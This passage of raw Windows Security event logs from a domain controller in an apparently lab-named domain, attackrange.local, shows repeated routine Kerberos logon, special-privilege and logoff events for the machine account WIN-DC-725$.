indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249056 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1C15 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249079 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1ECE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249078 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1ECE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64129 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249077 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1ECE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249076 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1E6D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249075 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1E6D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64128 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249074 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1E6D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249073 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1E07 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249072 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1E07 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64127 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249071 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1E07 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249070 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1DA6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249069 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1DA6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64126 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249068 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1DA6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249091 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD2073 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249090 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD2073 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64133 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249089 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD2073 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249088 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD2012 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249087 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD2012 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64132 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249086 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD2012 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249085 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1FAC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249084 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1FAC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64131 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249083 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1FAC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249082 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1F4B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249081 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1F4B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64130 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249080 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1F4B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249103 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD2204 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249102 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD2204 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64137 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249101 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD2204 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249100 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD21A3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 